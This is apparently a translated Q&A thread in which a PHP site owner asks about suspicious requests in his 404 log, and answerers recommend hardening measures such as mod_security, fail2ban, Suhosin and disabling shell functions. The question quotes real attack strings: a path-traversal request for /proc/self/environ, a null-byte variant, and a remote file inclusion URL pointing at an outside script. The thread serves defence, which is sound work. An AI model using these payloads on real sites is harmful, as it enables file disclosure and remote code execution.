Dre*_*rew 12 mysql security php hacking
查看我的 404 日志,我注意到以下两个 URL,它们都发生了一次:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
和
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
有问题的页面library.php需要一个type具有六个不同可接受值的id变量,然后是一个变量。所以一个有效的 URL 可能是
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
并且在mysql_real_escape_string用于查询数据库之前,所有id都经过了处理。
我是菜鸟,但在我看来这两个链接都是针对 webroot 的简单攻击?
1)除了 404 之外,如何最好地防止此类事情?
2)我是否应该永久禁止负责的 IP?
编辑:也刚刚注意到这个
/library.php=http://www.basfalt.no/scripts/danger.txt
编辑 2:所有 3 次攻击的违规 IP 都216.97.231.15追溯到位于洛杉矶郊外的名为 Lunar Pages 的 ISP。
编辑 3:我决定在当地时间周五早上致电 ISP,并与我可以通过电话联系的任何人讨论该问题。我会在 24 小时左右后在此处发布结果。
编辑 4:我最后给他们的管理员发了电子邮件,他们首先回复说“他们正在调查”,然后一天后回复“现在应该解决这个问题”。没有进一步的细节,很遗憾。
小智 19
0) 是的。至少,这是对您的站点的系统调查,试图发现它是否易受攻击。
1) 除了确保你的代码是干净的,除了对你的主机运行你自己的测试以确保它是安全的之外,你能做的并不多。Google Skipfish 是众多工具之一,可帮助您实现这一目标。
2)我愿意。
正如其他人所说:是的,这是一次黑客尝试。请注意,除了这种可能的手工尝试之外,还有很多由僵尸网络运行的自动化尝试。通常,这些类型的攻击试图通过古老的漏洞和/或一些典型的编码缺陷,例如无法验证用户输入导致 SQL 注入、系统或文件泄漏等。
手动禁止这些僵尸网络很可能是不可能的,因为僵尸网络可以使用多达数千个唯一的 IP 地址,因此如果您想禁止它们,则必须使用某种自动禁止程序。我想到了fail2ban;使其对 mod_security 事件或其他一些日志条目做出反应。
如果您的代码是干净的并且经过服务器加固,那么这些黑客尝试只是烦人的日志污染。但最好采取预防措施并根据您的需要考虑以下部分或全部:
mod_security是一个 Apache 模块,可以过滤掉各种典型的黑客攻击。如果它看到可疑的 JavaScript 等,它还可以限制出站流量(您的服务器将发送到客户端的页面)。
Suhosin用于强化 PHP 本身。
将您的 webroot 和 PHP 临时目录挂载为noexec,nosuid,nodev。
禁用不需要的 PHP 函数,例如system和passthru。
禁用不需要的 PHP 模块。例如,如果您不需要 IMAP 支持,请不要启用它。
使您的服务器保持最新状态。
密切关注日志。
确保您有备份。
制定一个计划,如果有人攻击您或其他灾难袭击您,该怎么办。
这是一个好的开始。然后还有更极端的措施,例如Snort和Prelude,但对于大多数设置而言,它们可能是非常矫枉过正的。